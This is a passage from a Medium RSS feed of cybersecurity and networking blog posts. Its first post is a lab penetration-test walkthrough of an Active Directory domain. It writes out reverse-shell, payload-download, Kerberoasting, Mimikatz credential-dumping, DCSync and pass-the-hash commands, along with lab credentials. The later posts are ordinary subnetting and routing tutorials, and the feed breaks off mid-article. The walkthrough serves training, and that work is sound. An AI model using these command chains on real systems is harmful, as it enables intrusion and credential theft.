<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by prince singh on Medium]]></title>
        <description><![CDATA[Stories by prince singh on Medium]]></description>
        <link>https://medium.com/@ps9488348?source=rss-3107c0ee7104------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*R8pFXUedcGJfVcz7</url>
            <title>Stories by prince singh on Medium</title>
            <link>https://medium.com/@ps9488348?source=rss-3107c0ee7104------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 22:16:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ps9488348/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Breaking into Active Directory: A Step-by-Step Penetration Test Walkthrough]]></title>
            <link>https://medium.com/@ps9488348/breaking-into-active-directory-a-step-by-step-penetration-test-walkthrough-429ac9ef89ee?source=rss-3107c0ee7104------2</link>
            <guid isPermaLink="false">https://medium.com/p/429ac9ef89ee</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[prince singh]]></dc:creator>
            <pubDate>Mon, 08 Sep 2025 22:15:32 GMT</pubDate>
            <atom:updated>2025-09-08T22:15:32.701Z</atom:updated>
            <content:encoded><![CDATA[<p>We are given the following scenario:</p><p><strong>A team member started an External Penetration Test and was moved to another urgent project before they could finish. The team member was able to find and exploit a file upload vulnerability after performing recon of the externally-facing web server. Before switching projects, our teammate left a password-protected web shell (with the credentials: </strong><strong>admin:My_W3bsH3ll_P@ssw0rd!) in place for us to start from in the </strong><strong>/uploads directory. As part of this assessment, our client, Inlanefreight, has authorized us to see how far we can take our foothold and is interested to see what types of high-risk issues exist within the AD environment. Leverage the web shell to gain an initial foothold in the internal network. Enumerate the Active Directory environment looking for flaws and misconfigurations to move laterally and ultimately achieve domain compromise.</strong></p><p>From the given situation, we can deduce that we can access the windows host which is part of the internal Active Directory environment via a web shell, which can be accessed at</p><p><strong>http://&lt;Target IP&gt;/uploads</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRPz_Q8Wk_2WGLEAMhAK7w.png" /><figcaption>Web Shell</figcaption></figure><p>I was having the issues using the web shell so I decided to get the reverse shell connection on my Kali machine.</p><p>Step 1: Copy the compiled binary of netcat listener to your current directory</p><pre>cp -v /usr/share/windows-resources/binaries/nc.exe .</pre><p>and start the HTTP server to host this binary on your local machine</p><pre>python3 -m http.server 80</pre><p>This will host the file on <strong>http://&lt;tun0 IP&gt;/nc.exe</strong></p><p>Step 2: Download the netcat binary on the compromised windows host</p><p><strong>powershell -c “iwr -uri http://&lt;tun0 IP&gt;/nc.exe -outfile nc.exe”</strong></p><p>Step 3: Start the netcat listener on your Kali machine</p><pre>nc -lvnp 4444</pre><p>Step 4: Execute the reverse shell on the compromised web shell to gain reverse shell connection</p><p><strong>.\nc.exe -e powershell.exe &lt;tun0 IP&gt; 4444</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*M67vWfJ_yHhpd0mptndm5Q.png" /></figure><p>On getting the reverse shell connection, first thing I tried to check what language mode we’re limited to</p><p><strong>$ExecutionContext.SessionState.LanguageMode</strong></p><p>and on executing this, I found out that I am in Full Language mode, which means we can run pretty much any script here. I am not very good with using PowerShell which is why I would be writing scripts on my Kali machine and then downloading them on the Windows host but feel free to write your own scripts if you’re good with PowerShell.</p><p>I found out that we’re given a /16 sub-network but scanning such a big network would not only cause alerts but would also take very long, so instead I decided to scan a small chunk of the sub-network which the compromised windows host is part of, which is 172.16.6.0/24 to find the live hosts.</p><p>I am going to use a custom PowerShell script to scan for the network but feel free to use any other tool of your choice. First I am going to write this script onto my Kali machine and then download it on the compromised Windows host.</p><pre>nano live_hosts.ps1<br><br>1..254 | ForEach-Object {<br>  $ip = &quot;172.16.6.$_&quot;<br>  if (Test-Connection -ComputerName $ip -Count 1 -Quiet) {<br>    Write-Output &quot;$ip is alive&quot; }<br>}</pre><p>Host it on HTTP server in your current directory</p><pre>python3 -m http.server 80</pre><p>On the compromised windows machine, download the script:</p><p><strong>powershell -c “iwr -uri http://&lt;tun0 IP&gt;/live_hosts.ps1 -outfile live_hosts.ps1”</strong></p><p>and then execute the script on the windows machine</p><p><strong>powershell -ExecutionPolicyBypass -File C:\windows\system32\inetsrv\live_hosts.ps1</strong></p><p>And on executing the script I got these live hosts on the subnet 172.16.6.0/24</p><p><strong>172.16.6.3</strong></p><p><strong>172.16.6.50</strong></p><p><strong>172.16.6.100</strong></p><p>I found these hosts who are alive on the subnet 172.16.6.0/24 where 172.16.6.100 is the IP address of the compromised Windows host. Next step is to find if any of the found live hosts is a domain controller, for which I made another custom script.</p><pre>nano dc.ps1<br>$targets = @(&quot;172.16.6.3&quot;,&quot;172.16.6.50&quot;,&quot;172.16.6.100&quot;)<br>$ports = @(53,88,135,139,389,445,464,636,3268,3269)<br>foreach ($target in $targets) {<br>  Write-Output &quot;`nScanning $target ...&quot;<br>  foreach ($port in $ports) {<br>    try {<br>          $tcp = New-Object System.Net.Sockets.TcpClient<br>          $tcp.Connect($target, $port)<br>          if ($tcp.Connected) {<br>            Write-Output &quot; [+] $target : Port $port OPEN&quot;<br>            $tcp.Close()<br>          }<br>    } catch {}<br>  }<br>}</pre><p>I saved this script on my Linux machine and hosted it on http server in order to download it on the Windows host</p><pre>python3 -m http.server 80</pre><p>Download it on the Windows host:</p><p><strong>powershell -c “iwr -uri http://&lt;tun0 IP&gt;/dc.ps1 -outfile dc.ps1”</strong></p><p>Execute the script</p><p><strong>powershell -ExecutionPolicy Bypass -File .\dc.ps1</strong></p><p>I found out that the host 172.16.6.3 is the domain controller since it has these open ports (53, 88, 135, 139, 389, 445, 464, 636, 3268, 3269).</p><p>Domain: INLANEFREIGHT</p><p>Domain Controller: DC01.INLANEFREIGHT.LOCAL</p><p>Next thing I tried to do was to enumerate the password policy of the domain</p><p><strong>net accounts /domain</strong></p><p>This is what I was able to find about the password policy of the domain</p><p>A. Minimum password age (1 day)</p><p>Users can’t immediately change their password after setting a new one</p><p>B. Maximum password age (42 days)</p><p>Users must change their password every 42 days</p><p>C. Minimum password length (1)</p><p>This is extremely weak — passwords can be as short as 1 character</p><p>D. Password history (24)</p><p>The last 24 passwords are remembered to prevent reuse</p><p>E. Lockout threshold (never)</p><p>There is no account lockout policy. Bruteforce attacks won’t trigger lockouts.</p><p>F. Lockout duration/observation window (30 min)</p><p>Irrelevant since lockout is disabled</p><p>After enumerating the password policies, I tried to enumerate SPNs to see if I can request a TGS ticket and perform kerberoasting attack but since it didn’t had the active directory module, I had to write a PowerShell script.</p><pre>nano enumerate_spn.ps1<br>$search = New-Object DirectoryServices.DirectorySearcher<br>$search.Filter = &quot;(servicePrincipalName=*)&quot;<br>$search.PageSize = 1000<br>$search.PropertiesToLoad.Add(&quot;samaccountname&quot;) | Out-Null<br>$search.PropertiesToLoad.Add(&quot;serviceprincipalname&quot;) | Out-Null<br>$result = $search.FindAll()<br>foreach ($result in $results) {<br>  $props = $result.Properties<br>  if ($props.samaccountname -and $props.samaccountname -notmatch &#39;\$$&#39;) {<br>    Write-Output &quot;$($props.samaccountname) - $($props.serviceprincipalname)&quot;<br>  }<br>}</pre><p>I saved it on my Kali machine and hosted on http server and then downloaded it on Windows host</p><pre>python3 -m http.server 80</pre><p><strong>powershell -c “iwr -uri http://&lt;tun0 IP&gt;/enumerate_spn.ps1 -outfile enumerate_spn.ps1”</strong></p><p>and then execute the script</p><p><strong>powershell -ExecutionPolicy Bypass -File .\enumerate_spn.ps1</strong></p><p>After I executed the above script I found many SPNs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*jHeUferTfizTT-lUj1d5BQ.png" /></figure><p>Next thing is obvious to request the TGS hash and crack it offline to obtain the cleartext password for the SPN svc_sql. But the problem is, the Windows host we compromised doesn’t have ‘Rubeus’ to extract it from the memory. So, first I had to download the pre-compiled binary of Rubeus.exe on my Kali and host it on http server and download it on Windows host</p><p>Started HTTP server</p><pre>python3 -m http.server 80</pre><p>and then download the binary onto Windows host</p><p><strong>powershell -c “iwr -uri http://&lt;tun0 IP&gt;/Rubeus.exe -outfile rubeus.exe”</strong></p><p>and executed it</p><p><strong>.\rubeus.exe kerberoast /user:svc_sql/nowrap</strong></p><p>and I got the hash which could be cracked using either hashcat or john the ripper</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zCSxYNTWdCzF4QjlaDCRdg.png" /></figure><p>I got the credentials for one of the SPN</p><p><strong>SPN: svc_sql</strong></p><p><strong>password: lucky7</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zceTTlJ5gzH4jGeLkD2tpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*_ftUx48dnvD77vbX0VBhOA.png" /></figure><p>The next challenge was to find a domain joined host MS01 so to find if it does exist in the domain I did nslookup</p><p><strong>nslookup MS01</strong></p><p>and found this info about it</p><p><strong>Name: MS01.INLANEFREIGHT.LOCAL</strong></p><p><strong>IPv4: 172.16.6.50</strong></p><p>I tried to check if there were any open ports on this host so I tried these</p><p><strong>#SMB</strong></p><p><strong>Test-NetConnection -ComputerName 172.16.6.50 -Port 445</strong></p><p><strong>#RDP</strong></p><p><strong>Test-NetConnection -ComputerName 172.16.6.50 -Port 3389</strong></p><p><strong>#WinRM</strong></p><p><strong>Test-NetConnection -ComputerName 172.16.6.50 -Port 5985</strong></p><p>And all these three ports were open on MS01</p><p>I tried checking if I could attach the shares on MS01 on the compromised Windows host</p><p><strong>net user \\MS01\C$ /user:INLANEFREIGHT\svc_sql lucky7</strong></p><p>It didn’t return any error so I assumed that I can browse the admin share and grab the flag</p><p><strong>dir \\MS01\C$\Users\Administrator\Desktop</strong></p><p><strong>type \\MS01\C$\Users\Administrator\Desktop\flag.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*kH5NWshxsiElbnN1BCzJ6w.png" /></figure><p>So what we’re going to do now is, we are going to use the compromised Windows host as a jump box and log into MS01 interactively (RDP), then do the w digest trick locally on MS01</p><p>A. On our compromised windows host, set up port forwarding for RDP</p><p><strong>netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=3389 connectaddress=172.16.6.50</strong></p><p>listenport=8888 #Compromised windows host will listen here</p><p>connectport=3389 #RDP port on MS01</p><p>B. From our kali machine, connect to the compromised windows host at port 8888 using RDP</p><pre>xfreerdp3 /u:svc_sql /p:lucky7 /v:&lt;Target IP&gt;:8888 /dynamic-resolution</pre><p>This actually lands you inside MS01 as svc_sql</p><p>C. Once inside MS01 (RDP Session), enable WDigest</p><p>Run PowerShell as administrator inside MS01</p><p><strong>reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f</strong></p><p>D. Reboot MS01 (Still from RDP session)</p><p><strong>shutdown /r /t 0 /f</strong></p><p>E. After reboot, RDP back into MS01 as svc_sql</p><p>Same xfreerdp3 command as before</p><p>F. Download &amp; run Mimikatz on MS01</p><p>Get Mimikatz onto compromised Windows host first and then from there copy it to MS01</p><p>Start the HTTP server on the Kali</p><pre>python3 -m http.server 80</pre><p><strong>certutil -urlcache -split -f http://&lt;tun0&gt;/mimikatz.exe mimikatz.exe</strong></p><p><strong>net use \\MS01\C$ /user:INLANEFREIGHT\svc_sql lucky7</strong></p><p>Copy to MS01</p><p><strong>copy C:\windows\system32\inetsrv\mimikatz.exe \\MS01\C$\Windows\Temp\mimikatz.exe</strong></p><p>On MS01 RDP session change the directory to C:\Windows\Temp and execute the mimikatz.exe</p><p><strong>.\mimikatz.exe</strong></p><p><strong>privilege::debug</strong></p><p><strong>sekurlsa::logonpasswords</strong></p><p>I found the password for user tpetty</p><p><strong>username: tpetty</strong></p><p><strong>password: Sup3rS3cur3D0m@inU2eR</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*Gf5ShzDsQg7BEgKNRRKi_Q.png" /></figure><p>We will have to log into the tpetty user session from MS01 machine host and the reason is that the user tpetty is not a user which can do Dsync attack, for that the user need to have Replicating Directory Changes privileges which is with either enterprise admin or we have to try and extract the password/hash from the memory of MS01 host just in case if the password or hash was ever used there. We’re trying to dump password/hash from LSASS (lsadump).</p><p>lsadump is a module in mimikatz that allows you to interact with the Local Security Authority Subsystem service (LSASS) on windows. It’s mainly used to extract sensitive information such as:</p><p>LSA secrets: Stored service account passwords, cached credentials, etc.</p><p>Kerberos tickets: Can be dumped and reused for attacks like Pass-the-Ticket</p><p>SAM database: Local user accounts hashes</p><p>DPAPI secrets: Can help decrypt stored credentials</p><p>A. On MS01 powershell session of svc_sql, we need to start another powershell session for the user tpetty</p><p><strong>.\runas.exe /user:inlanefreight.local\tpetty powershell</strong></p><p>This will prompt to enter the password for tpetty user</p><p>B. Copy mimikatz to the tpetty user desktop</p><p>We already copied mimikatz.exe from already compromised windows host to MS01, now we just need to copy this from MS01 to the user session of tpetty</p><p><strong>Move-Item “.\mimikatz.exe” -Destination “C:\Users\tpetty\Desktop”</strong></p><p>C. Navigate to the directory where you moved mimikatz.exe and execute mimikatz</p><p><strong>.\mimikatz.exe</strong></p><p><strong>lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\Administrator</strong></p><p>I found the NTLM hash of Administrator which means we can login into the domain admin user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*4l7iwV0U9VT4nI9j4lhzOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*DZ2LXSo07i-fOjGJH5KkAA.png" /></figure><p>Now we have the NTLM hash of the administrator we can log into the admin account which also means compromising the whole domain since the admin here is domain controller</p><p>A. On our first compromised windows host, we are going to do port forwarding</p><p>#Make Windows jump host listen on 0.0.0.0:9999 and connect to DC01:5985</p><p><strong>netsh interface portproxy add v4tov4 listenport=9999 listenaddress=0.0.0.0 connectport=5985 connectaddress=172.16.6.3</strong></p><p>B. From your kali, connect to the compromised windows host on port 9999</p><pre>evil-winrm -i &lt;Target IP&gt; --port 9999 -u Administrator -H 27dedb1dab4d8545c6e1c66fba077da0</pre><p>Once we have an administrator shell, we can read the flag</p><p><strong>type C:\Users\Administrator\Desktop\flag.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*BULNDEbCG1MdA3vr_juckQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*vXJHmXuVH04Y1oGs26DmCg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=429ac9ef89ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subnetting — The Art of Breaking a Big City into Smaller Neighbourhoods]]></title>
            <link>https://medium.com/@ps9488348/subnetting-the-art-of-breaking-a-big-city-into-smaller-neighbourhoods-12e7face76b5?source=rss-3107c0ee7104------2</link>
            <guid isPermaLink="false">https://medium.com/p/12e7face76b5</guid>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[subnetting]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[ip-address]]></category>
            <dc:creator><![CDATA[prince singh]]></dc:creator>
            <pubDate>Mon, 11 Aug 2025 12:34:52 GMT</pubDate>
            <atom:updated>2025-08-11T12:34:52.876Z</atom:updated>
            <content:encoded><![CDATA[<h3>Subnetting — The Art of Breaking a Big City into Smaller Neighbourhoods</h3><p>We’ve already explored the <strong>networking “map”</strong> — devices, the OSI model, and protocols.<br> Now, we’re stepping into a bustling city called <strong>Your Network</strong>.</p><p>But here’s the problem:<br> If every street in this city connected to every other street without order, traffic would be a nightmare.<br> So, what do city planners do? They divide the city into <strong>neighborhoods</strong>.</p><p>In networking, that process is called <strong>subnetting</strong>.</p><h4><strong>What Exactly is Subnetting?</strong></h4><p>Subnetting is like <strong>taking a big city (your network) and dividing it into smaller, well-organised neighbourhoods (subnets)</strong>.</p><p>For example, imagine you have the network:</p><pre>10.0.0.0/24</pre><p>The /24 means the <strong>first three “streets” (octets)</strong> are fixed, and only the last street number can change — from <strong>0 to 255</strong>.</p><p>That gives you 256 possible houses (IP addresses) in this city:</p><pre>10.0.0.0, 10.0.0.1, 10.0.0.2 … 10.0.0.255</pre><h4><strong>What’s an Octet Anyway?</strong></h4><p>An <strong>IP address</strong> is like a postal address — except instead of words, it’s made up of <strong>32 bits</strong> split into four blocks of 8 bits each. These blocks are called <strong>octets</strong>.</p><p>Example: 192.168.16.32 in binary is:</p><pre>192 → 11000000<br>168 → 10101000<br>16  → 00010000<br>32  → 00100000</pre><p>So the address becomes:</p><pre>11000000.10101000.00010000.00100000</pre><p><strong>💡 Fun fact:</strong></p><ul><li>11111111 in binary = <strong>255</strong></li><li>00000000 in binary = <strong>0</strong></li></ul><h4><strong>The Mystery of /24, /25, /26…</strong></h4><p>You might have seen addresses like /24 or /27. That number is called the <strong>CIDR notation</strong>, and it tells you <strong>how many bits are reserved for the “neighbourhood” name</strong> (the network portion).</p><p>Think of it like saying, <em>“These first streets are fixed — the rest can change.”</em></p><pre>| CIDR | Binary Mask                         | Subnet Mask     |<br>| ---- | ----------------------------------- | --------------- |<br>| /24  | 11111111.11111111.11111111.00000000 | 255.255.255.0   |<br>| /25  | 11111111.11111111.11111111.10000000 | 255.255.255.128 |<br>| /26  | 11111111.11111111.11111111.11000000 | 255.255.255.192 |<br>| /27  | 11111111.11111111.11111111.11100000 | 255.255.255.224 |</pre><p>These <strong>subnet masks</strong> are just another way to write which part is the “neighbourhood” and which part is for “house numbers”.</p><h4><strong>How Far Can Subnetting Go?</strong></h4><ul><li>/0 → no fixed streets, includes <em>every house in the entire world</em>.</li><li>/32 → every single detail fixed — a single house, not a neighbourhood.</li></ul><h4><strong>A Day in the Life of a College Network</strong></h4><p>Let’s put subnetting to work. A college is given a /24 network.</p><p>They have two labs:</p><ul><li><strong>Computer Lab</strong> — needs many devices.</li><li><strong>Biology Lab</strong> — only a few devices.</li></ul><p>How do they divide the “city”?</p><ul><li><strong>Computer Lab:</strong> /25 (more addresses — bigger neighbourhood).</li><li><strong>Biology Lab:</strong> /27 (fewer addresses — smaller neighbourhood).</li></ul><p>Now, both labs have their own <strong>private space</strong>, and network “traffic jams” are reduced.</p><h4><strong>Why Bother with Subnetting?</strong></h4><p>Subnetting helps because it:</p><ul><li>🚪 <strong>Separates spaces</strong> — improves privacy &amp; security.</li><li>🚦 <strong>Reduces congestion</strong> — less broadcast noise.</li><li>📏 <strong>Manages addresses</strong> — ensures efficient use of IPs.</li></ul><h4><strong>Visualizing Subnetting</strong></h4><ol><li><strong>One big network (no subnets):</strong></li></ol><pre>[ All Devices Connected ]<br>   10.0.0.1  10.0.0.2  10.0.0.3  ...  10.0.0.255</pre><p><strong>2. Dividing into subnets</strong></p><pre>[ Subnet 1 - Computer Lab ]   10.0.0.1  - 10.0.0.126  (/25)<br>[ Subnet 2 - Biology Lab ]    10.0.0.129 - 10.0.0.158 (/27)</pre><p><strong>3. Network as a City:</strong></p><pre>[ Big City ] → divided into → [ Neighborhood A ] + [ Neighborhood B ]</pre><h4><strong>Wrapping Up</strong></h4><p>Subnetting might feel tricky at first, but think of it as <strong>urban planning for networks</strong> — you’re simply organising the city so everything runs smoother.</p><p>This was just the <strong>first chapter</strong>. The deeper chapters involve calculating exact ranges, broadcast addresses, and subnetting for large-scale enterprises.</p><p>But for now, you’ve got the <strong>map</strong>, the <strong>city plan</strong>, and the <strong>keys to your first neighborhood</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12e7face76b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Protocols & OSI Model Layers]]></title>
            <link>https://medium.com/@ps9488348/network-protocols-osi-model-layers-a5c86aee0f07?source=rss-3107c0ee7104------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5c86aee0f07</guid>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[internet-protocol]]></category>
            <category><![CDATA[osi-model]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[prince singh]]></dc:creator>
            <pubDate>Sun, 10 Aug 2025 13:01:56 GMT</pubDate>
            <atom:updated>2025-08-10T13:01:56.631Z</atom:updated>
            <content:encoded><![CDATA[<p>In networking, we’ve already explored <strong>MAC addresses</strong> and <strong>IP addresses</strong> — two critical identifiers that help pinpoint where data packets originate and where they’re headed.</p><p>But between the moment a data packet is created and the moment it arrives at its destination, there’s an entire set of <strong>rules</strong> that govern <em>how</em> it travels. These rules form part of the internet’s global standards and are known as <strong>protocols</strong>.</p><p>Below are some of the most important protocols you should know:</p><h4><strong>1. ARP (Address Resolution Protocol)</strong></h4><p>Think of ARP as a translator within your local network. Your computer may know the <strong>IP address</strong> it wants to communicate with, but to actually send data, it needs the <strong>MAC address</strong> (hardware address). ARP helps find that MAC address so communication can happen seamlessly.</p><h4><strong>2. FTP (File Transfer Protocol)</strong></h4><p>FTP works like a digital delivery truck, moving files between computers over the internet. You can upload files to a server or download them from one. While simple and reliable, it’s not secure unless paired with encryption methods like <strong>FTPS</strong> or <strong>SFTP</strong>.</p><h4><strong>3. SMTP (Simple Mail Transfer Protocol)</strong></h4><p>SMTP is the internet’s postal service for email. It handles sending emails from your device to a mail server, and between mail servers, ensuring the message reaches the recipient’s inbox.</p><h4><strong>4. HTTP (Hypertext Transfer Protocol)</strong></h4><p>HTTP is the language your browser uses to communicate with websites. It transfers web pages, images, and other content from a server to your browser. The downside? It sends data in plain text, making it insecure.</p><h4><strong>5. SSL (Secure Sockets Layer)</strong></h4><p>SSL was once the standard for encrypting data sent over the internet, protecting sensitive information like passwords and credit card details. It’s now outdated and replaced by <strong>TLS</strong>, but many people still say “SSL” out of habit.</p><h4><strong>6. TLS (Transport Layer Security)</strong></h4><p>TLS is the modern security guard of the internet. It encrypts data so outsiders can’t read or tamper with it, ensuring safe communication.</p><h4><strong>7. HTTPS (Hypertext Transfer Protocol Secure)</strong></h4><p>HTTPS is simply HTTP combined with TLS encryption. It ensures your connection to a website is private and secure — just look for the padlock icon in your browser’s address bar.</p><h4><strong>8. DNS (Domain Name System)</strong></h4><p>DNS is like the internet’s phonebook. When you type a web address like google.com, DNS translates it into the corresponding IP address so your browser can connect to the right server.</p><h4><strong>9. DHCP (Dynamic Host Configuration Protocol)</strong></h4><p>DHCP is the automatic address distributor of a network. When you connect to Wi-Fi, it assigns your device an IP address, gateway, and other network settings — no manual setup required.</p><h4><strong>OSI Model Layers</strong></h4><p><strong>Layer 4 — Transport (Service-to-Service Communication)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DLHK9G97-IqMGP9XfFjgTg.jpeg" /></figure><p>The transport layer ensures that data streams reach the right application or service.</p><p>Imagine you have multiple applications running on your computer — for example:</p><ul><li>Service 1 → Port 6667/UDP</li><li>Service 2 → Port 80/TCP</li><li>Service 3 → Port 25565/TCP</li></ul><p>When your computer receives data, it all arrives in a combined stream. The <strong>Transport Layer</strong> separates these streams and delivers them to the correct port for each application. The same process happens when you have multiple browser tabs open.</p><p><strong>Key points:</strong></p><ul><li>Distinguishes data streams</li><li>Uses <strong>port numbers</strong> for addressing</li><li>Ports range from 0–65535</li><li><strong>TCP</strong> prioritizes reliability</li><li><strong>UDP</strong> prioritizes efficiency</li></ul><p><strong>Layers 5, 6, 7 — Session, Presentation, Application</strong></p><ul><li>The boundaries between these layers are often vague.</li><li>Some networking models merge them into a single layer.</li><li>In most practical networking, understanding Layers 1–4 is most crucial for grasping how data flows.</li></ul><p>✅ <strong>Well done!</strong> You’ve now covered essential networking concepts — from devices and data flow to the OSI model. Next, we’ll dive into <strong>Subnetting</strong> and <strong>NAT</strong> to further strengthen your networking fundamentals.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5c86aee0f07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Everything Routers Do & OSI Layer 3]]></title>
            <link>https://medium.com/@ps9488348/everything-routers-do-osi-layer-3-10bcfe8aef79?source=rss-3107c0ee7104------2</link>
            <guid isPermaLink="false">https://medium.com/p/10bcfe8aef79</guid>
            <category><![CDATA[router]]></category>
            <category><![CDATA[network-layer]]></category>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[tcp-ip]]></category>
            <category><![CDATA[osi-model]]></category>
            <dc:creator><![CDATA[prince singh]]></dc:creator>
            <pubDate>Sun, 10 Aug 2025 06:49:11 GMT</pubDate>
            <atom:updated>2025-08-10T06:49:11.305Z</atom:updated>
            <content:encoded><![CDATA[<p>In our previous discussion, we explored switches, their operation, and their role within Layer 2 of the OSI model. Today, we’ll shift our focus to <strong>routers</strong> — how they work, how they fit into the OSI model at Layer 3, and why they are crucial for connecting networks.<br> (<em>You can read the previous article here — </em><a href="https://medium.com/@ps9488348/everything-switches-do-osi-model-layer-2-bf104dcbdf42"><em>here</em></a><em>.</em>)</p><h4><strong>What is a Router?</strong></h4><p>A <strong>router</strong> is a networking device that directs data packets from one network to another. Think of it as a traffic controller for data — it determines the best path for information to travel between devices that aren’t on the same local network.</p><p>Here’s an example of a basic network connected to a router:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*jK9_iM8rZO2ql0Pj80H8mA.png" /><figcaption>Source: ResearchGate</figcaption></figure><p>While that’s the simple definition, routers do much more behind the scenes. A key part of their operation is the <strong>routing table</strong>, which stores information about network paths. Before we look at the step-by-step process of packet forwarding, let’s first understand how these routing tables are populated.</p><h4><strong>How Routing Tables Are Populated</strong></h4><p>Routers maintain routing tables through three main methods:</p><ol><li><strong>Directly Connected Routes</strong> — Automatically added for networks directly attached to the router.</li><li><strong>Static Routes</strong> — Manually configured by a network administrator.</li><li><strong>Dynamic Routes</strong> — Learned automatically from other routers using routing protocols.</li></ol><h4><strong>How Routers Work — A Step-by-Step Example</strong></h4><p>Let’s look at a scenario where three different networks are connected through routers. Below are the routing tables for each router:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMGUTzcjt-an29mcbD6IgQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KAZqm5-SEpo99I4ry8R1PQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9Ir8FXslNsKspUbICNyUg.jpeg" /></figure><p><strong>Step 1 — Host A Prepares to Send Data to Host C</strong></p><ol><li>Host A wants to send data to Host C.</li><li>It constructs the <strong>Layer 3 (L3)</strong> header.</li><li>Host A knows the packet must go through its default gateway (R1).</li><li>It cannot build the Layer 2 (L2) header yet — no ARP entry exists for R1’s IP.</li></ol><p><strong>Step 2 — ARP Resolution Between Host A and R1</strong></p><ol><li>Host A sends an ARP request for 10.0.44.1.</li><li>R1 adds an entry for 10.0.44.9 in its ARP table.</li><li>R1 sends an ARP reply.</li><li>Host A updates its ARP table with R1’s MAC address.</li><li>Host A builds the L2 header and sends the packet to R1.</li></ol><p><strong>Step 3 — R1 Processes the Packet</strong></p><ol><li>R1 receives the packet and removes the L2 header.</li><li>It checks the destination IP in its routing table.</li><li>The next hop is 10.0.55.2 (R2).</li><li>R1 cannot yet build the L2 header — no ARP entry exists for R2.</li></ol><p><strong>Step 4 — ARP Resolution Between R1 and R2</strong></p><ol><li>R1 sends an ARP request for 10.0.55.2.</li><li>R2 updates its ARP table with R1’s MAC.</li><li>R2 replies to R1.</li><li>R1 updates its ARP table with R2’s MAC.</li><li>R1 builds the L2 header and sends the packet to R2.</li></ol><p><strong>Step 5 — R2 Processes the Packet</strong></p><ol><li>R2 receives the packet and strips the L2 header.</li><li>It checks its routing table.</li><li>The final hop is 10.0.66.7 (Host C).</li><li>No ARP entry exists for Host C yet.</li></ol><p><strong>Step 6 — ARP Resolution Between R2 and Host C</strong></p><ol><li>R2 sends an ARP request for 10.0.66.7.</li><li>Host C updates its ARP table with R2’s MAC.</li><li>Host C replies.</li><li>R2 updates its ARP table with Host C’s MAC.</li><li>R2 builds the L2 header and sends the packet to Host C.</li></ol><p><strong>Step 7 — Host C Receives the Packet</strong></p><ol><li>Host C receives the packet.</li><li>It removes the L2 header.</li><li>It removes the L3 header and processes the payload.</li></ol><h4><strong>Key Difference Between Hosts and Routers</strong></h4><p>Both hosts and routers have IP and MAC addresses, but their behaviour is very different:</p><ul><li><strong>Hosts</strong> drop packets that are not addressed to them.</li><li><strong>Routers</strong> forward packets that are not destined for themselves, based on routing tables.</li></ul><p>This is why routers act as the backbone of network communication — they don’t just receive data, they make sure it reaches its final destination.</p><h4><strong>OSI Model — Layer 3 Overview</strong></h4><p>Layer 3 of the OSI model is known as the <strong>Network Layer</strong>. Its primary responsibilities are:</p><ul><li><strong>Addressing Scheme:</strong> IP addresses for identifying devices and networks.</li><li><strong>Technologies Involved:</strong> Routers, hosts, and related protocols for end-to-end delivery.</li></ul><h4><strong>Conclusion:</strong></h4><p>Routers are essential for connecting different networks 